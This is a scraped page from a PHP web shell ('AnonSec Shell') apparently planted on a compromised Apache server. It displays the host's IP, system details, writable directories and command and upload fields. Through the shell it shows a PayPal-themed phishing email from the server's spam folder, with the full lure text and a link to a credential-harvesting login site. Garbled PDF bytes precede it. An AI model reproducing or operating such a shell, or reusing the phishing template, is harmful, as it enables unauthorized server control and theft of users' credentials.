%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.217.36
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/mail/.spam/cur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/mail/.spam/cur/1765635868.M99405P2743872.server.tobedev.com,S=9364,W=9527:2,a
Return-Path: <noreply@mypaypldb.firebaseapp.com>
Delivered-To: meir5web+spam@server.tobedev.com
Received: from server.tobedev.com
	by server.tobedev.com with LMTP
	id 7Y3uBBx3PWlA3ikAkQZavg
	(envelope-from <noreply@mypaypldb.firebaseapp.com>)
	for <meir5web+spam@server.tobedev.com>; Sat, 13 Dec 2025 14:24:28 +0000
Return-path: <noreply@mypaypldb.firebaseapp.com>
Envelope-to: contact@meirpanim.fr
Delivery-date: Sat, 13 Dec 2025 14:24:28 +0000
Received: from mail-oo1-f70.google.com ([209.85.161.70]:44305)
	by server.tobedev.com with esmtps  (TLS1.3) tls TLS_AES_128_GCM_SHA256
	(Exim 4.99)
	(envelope-from <noreply@mypaypldb.firebaseapp.com>)
	id 1vUQXq-0000000BVkH-39qw
	for contact@meirpanim.fr;
	Sat, 13 Dec 2025 14:24:27 +0000
Received: by mail-oo1-f70.google.com with SMTP id 006d021491bc7-65b3208d4deso3251478eaf.1
        for <contact@meirpanim.fr>; Sat, 13 Dec 2025 06:24:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=firebaseapp.com; s=20230601; t=1765635824; x=1766240624; darn=meirpanim.fr;
        h=to:from:subject:date:message-id:mime-version:from:to:cc:subject
         :date:message-id:reply-to;
        bh=MSoiPsYeJWqiSlM7BjkfwIfdIWtI8pWCePo7AkRPEdY=;
        b=mOuzpKwG9Fzmz01B9wHlQ3IKXGkLV5Z4vKfXwQnNF/LNWiidR7qfY3xg1D+yeUYxBq
         NXpnH5FRiWFnkNX5k4LeEA69OJFPTmpbIOsuZ9SgwzRvuwyB4Rh+eZPyDv2JwvHijR6E
         ogv1OXtLj0aQMptIuRqOudFPRE0JpZE+2RjLdKYXF2UrWZYP33Alk78JqHHyuV+trC78
         4GJWEL8MUsifaqnnjx9Jcdfd+NZ3gBTWn/7u+YAmnFdKgte9OeQPtpne/v7Ofa2A3IQB
         u8tMREU5MvNWBg+w5EWS9HQULd9Q6LuW44QqgB2qHIP1+PSOnFUmSDgT99RhjgnObkFp
         472w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20230601; t=1765635824; x=1766240624;
        h=to:from:subject:date:message-id:mime-version:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to;
        bh=MSoiPsYeJWqiSlM7BjkfwIfdIWtI8pWCePo7AkRPEdY=;
        b=qaB+HFPpGL2iWu3uFgCX1/w6BU+1ayMUocb07qSyagebqUlPH3GNAuefBZhIh99f0r
         IneVwDiEBE+0s3CpIotW2Wtuy3ifwVBNVj0XkMtL18Y+v5mLt0Us6OIimzV6fvUocdlO
         4f86pJgsZx+lqnIB92J1W15CzGxYmEU0LDmYal6wxxLBYAxT/SqjJ6ofDOtW101Urq//
         SudXzhG7qbawOw4doFjXY4zNOgxYZWgnI6Xcg1yDCxUs+JGfDI9Oeg15iYRopMSYQCqn
         dD02lKfbqOsuxo6PZ9dFye2cta2Nx2No5HgallTasSIfBgs0TVOJ/DXGRw6777Uv9tci
         7X0g==
X-Gm-Message-State: AOJu0YyY1XnaH3TwgwI1bYuWuXjrhPiJgTUA7lmsjDgHb+wC6sySjsD6
	80RppOzX2t3r6yFIiqqaNxFN1KAk/Lh1YWeY0n3WQBM34PYscCBJezj51Ezc2940Mz2QqU1rPvm
	7EM3ECVZXfQ==
X-Google-Smtp-Source: AGHT+IGai8X5F7xE2Xi9p/8D4KkjfAg37ogIvuQesSZkyq2UvgHvR+q/YgwcZdMlr0tw6tq4N7Asg/wNAD3fndI=
MIME-Version: 1.0
X-Received: by 2002:a05:6820:6acf:b0:65b:257b:a898 with SMTP id
 006d021491bc7-65b455ff127mr2233921eaf.29.1765635824532; Sat, 13 Dec 2025
 06:23:44 -0800 (PST)
Message-ID: <0000000000001fbc740645d620fa@google.com>
Date: Sat, 13 Dec 2025 14:23:44 +0000
From: "Support Team PayP..." <noreply@mypaypldb.firebaseapp.com>
To: contact@meirpanim.fr
Content-Type: multipart/alternative; boundary="0000000000001fbc620645d620f7"
X-Spam-Status: Yes, score=6.0
X-Spam-Score: 60
X-Spam-Bar: ++++++
X-Spam-Report: Spam detection software, running on the system "server.tobedev.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Hello contact@meirpanim.fr, Your account requires a mandatory
    security verification to maintain uninterrupted access. Please complete the
    verification process promptly to avoid temporary account limitations. 
 Content analysis details:   (6.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [209.85.161.70 listed in bl.score.senderscore.com]
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [209.85.161.70 listed in psbl.surriel.com]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: firebaseapp.com]
                             [URI: online-myaccount.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [209.85.161.70 listed in sa-accredit.habeas.com]
  1.9 URIBL_ABUSE_SURBL      Contains an URL listed in the ABUSE SURBL blocklist
                             [URI: login.online-myaccount.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [209.85.161.70 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_MSPIKE_H3      RBL: Good reputation (+3)
                             [209.85.161.70 listed in wl.mailspike.net]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily valid
  0.0 RCVD_IN_MSPIKE_WL      Mailspike good senders
  0.1 TVD_PH_SEC             BODY: Message includes a phrase commonly used in phishing
                             mails
  1.3 HTML_IMAGE_ONLY_24     BODY: HTML: images with 2000-2400 bytes of words
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as "accounts
                             suspended", "account credited", "account
                             verification"
X-Spam-Flag: YES
Subject:  ***SPAM***  Verify Your Account

--0000000000001fbc620645d620f7
Content-Type: text/plain; charset="UTF-8"; format=flowed; delsp=yes
Content-Transfer-Encoding: base64

SGVsbG8gY29udGFjdEBtZWlycGFuaW0uZnIsDQoNCllvdXIgYWNjb3VudCByZXF1aXJlcyBhIG1h
bmRhdG9yeSBzZWN1cml0eSB2ZXJpZmljYXRpb24gdG8gbWFpbnRhaW4gIA0KdW5pbnRlcnJ1cHRl
ZCBhY2Nlc3MuDQoNClBsZWFzZSBjb21wbGV0ZSB0aGUgdmVyaWZpY2F0aW9uIHByb2Nlc3MgcHJv
bXB0bHkgdG8gYXZvaWQgdGVtcG9yYXJ5ICANCmFjY291bnQgbGltaXRhdGlvbnMuDQoNClZlcmlm
eSBBY2NvdW50DQoNCkZvciBzZWN1cml0eSByZWFzb25zLCB2ZXJpZmljYXRpb24gaXMgcmVxdWly
ZWQgdG8gY29udGludWUgdXNpbmcgeW91ciAgDQphY2NvdW50IHNlcnZpY2VzLg0KDQoNCg0Kwqkg
MjAyNS4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NClRoaXMgbWVzc2FnZSB3YXMgc2VudCBhcyBwYXJ0
IG9mIGFuIGFjY291bnQgc2VjdXJpdHkgbm90aWZpY2F0aW9uLg0KDQoNCg==
--0000000000001fbc620645d620f7
Content-Type: text/html; charset="UTF-8"

<!doctype html>
<html>
<head>
	<title></title>
</head>
<body>
<table cellpadding="0" cellspacing="0" style="background:#ffffff; border-radius:8px; box-shadow:0 4px 10px rgba(0,0,0,0.08);" width="600">
	<tbody>
		<tr>
			<td style="background:#0b5ed7; padding:24px 32px; border-radius:8px 8px 0 0;">
			<h2 style="margin:0; color:#ffffff; font-size:20px;">&nbsp;</h2>
			</td>
		</tr>
		<tr>
			<td style="padding:32px;">
			<p style="margin:0 0 16px; color:#333; font-size:15px;"><img alt="" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRGVRvXf1LOX_uBDq_OJpINMIJTPReqTDS90w&amp;s" style="width: 200px; height: 108px;" /></p>

			<p style="margin:0 0 16px; color:#333; font-size:15px;"><font color="#000000" size="3">Hello </font>contact@meirpanim.fr<font color="#000000" size="3">,</font></p>

			<p style="margin:0 0 16px; color:#333; font-size:15px; line-height:1.6;"><font color="#000000" size="3">Your&nbsp;account requires a mandatory security verification to maintain uninterrupted access.</font></p>

			<p style="margin:0 0 24px; color:#333; font-size:15px; line-height:1.6;"><font color="#000000" size="3">Please complete the verification process promptly to avoid temporary account limitations.</font></p>

			<div style="text-align:center; margin:32px 0;"><a href="https://login.online-myaccount.com/" style="background: rgb(11, 94, 215); padding: 14px 32px; border-radius: 6px; display: inline-block;"><font color="#000000">Verify Account </font></a></div>

			<p style="margin:0; color:#666; font-size:13px; line-height:1.5;"><font color="#000000" size="3">For security reasons, verification is required to continue using your account services.</font></p>
			</td>
		</tr>
		<tr>
			<td style="padding:20px 32px; background:#f8f9fb; border-top:1px solid #e6e6e6;">
			<p style="margin:0; color:#999; font-size:12px; line-height:1.5;"><font color="#000000" size="3">&copy; 2025. All rights reserved.<br />
			This message was sent as part of an account security notification.</font></p>
			</td>
		</tr>
	</tbody>
</table>
</body>
</html>
--0000000000001fbc620645d620f7--

Anon7 - 2022
AnonSec Team